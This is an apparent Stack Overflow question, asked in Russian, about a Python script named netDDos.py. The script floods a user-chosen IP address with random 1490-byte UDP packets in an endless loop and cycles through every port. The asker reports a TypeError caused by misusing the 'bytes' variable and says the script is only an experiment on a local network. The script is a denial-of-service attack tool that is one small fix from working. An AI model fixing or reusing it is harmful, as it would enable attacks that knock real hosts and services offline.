import sys
import os
import socket
import random
import time
import ipaddress
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
print("\033[1;31;40m Executing netDDos.py")
os.system("clear")
print("\033[1;31;40m ▄ ▄███▄ ▄▄▄▄▀ ██▄ ██▄ ████▄ ▄▄▄▄▄ ")
print("\033[1;31;40m █ █▀ ▀ ▀▀▀ █ █ █ █ █ █ █ █ ▀▄ ")
print("\033[1;31;40m██ █ ██▄▄ █ █ █ █ █ █ █ ▄ ▀▀▀▀▄ ")
print("\033[1;31;40m█ █ █ █▄ ▄▀ █ █ █ █ █ ▀████ ▀▄▄▄▄▀ ")
print("\033[1;31;40m█ █ █ ▀███▀ ▀ ███▀ ███▀ ")
print("\033[1;31;40m█ ██ ")
print("Written by Hydra | lua")
print(" ")
ip = input("IP Target: ")
port = int(input("Port: "))
os.system("clear")
os.system("figlet Attack Starting")
print("[ ] 0%")
time.sleep(1)
print("[==== ] 25%")
time.sleep(1)
print("[========== ] 50%")
time.sleep(1)
print("[=============== ] 75%")
time.sleep(1)
print("[====================] 100%")
time.sleep(1)
sent = 0
while True:
sock.sendto(bytes(int(ipaddress.IPv4Address(ip)), port))
sent = sent + 1
port = port + 1
print("Sent %s packet to %s through port:%s"%(sent, ip, port))
if port == 65534:
port = 1
Сообщение об ошибке:
sock.sendto(bytes(int(ipaddress.IPv4Address(ip)), port)
TypeError: 'bytes' object is not callable
Я довольно новичок в Python, и я впервые задаю вопрос о StackOverflow.Это просто эксперимент с моей локальной сетью.